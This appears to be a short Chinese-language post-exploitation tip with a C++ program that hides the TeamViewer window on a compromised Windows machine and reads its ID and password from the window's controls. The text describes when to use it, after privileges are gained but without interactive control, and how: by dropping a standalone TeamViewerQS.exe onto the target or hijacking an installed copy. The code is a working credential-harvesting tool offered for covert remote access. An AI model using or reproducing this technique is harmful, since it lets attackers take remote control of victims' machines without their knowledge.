利用条件:是高权限,但是无法操作的时候,其实如果是免杀都好说,这种提权是实在没有什么方法可以用的时候再使用
#include <windows.h>
#include <stdio.h>
BOOL CALLBACK EnumChildProc(
HWND hwnd, // handle to child window
LPARAM lParam // application-defined value
)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
::SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
printf("%ls
", BufferContent);
return true;
}
int main()
{
HWND hTeam;
hTeam = ::FindWindow(NULL, TEXT("TeamViewer"));
if (hTeam)
{
::ShowWindow(hTeam, SW_HIDE);
if (IsWindowVisible(hTeam))
{
printf("This window has been hidden");
}
EnumChildWindows(hTeam, EnumChildProc, 0);
}
return 0;
}
分为两种情况吧
1、第一种情况,目标机器本身没有teamviewer软件,自己用的单文件TeamViewerQS.exe
,缺点文件大用rar打包后也有将近10M,然后再用上方编译的程序进行遍历控件读取密码!
2、第二种情况,目标机器上有teamviewer软件,直接用类似的获取句柄然后进行遍历控件,进行获取密码!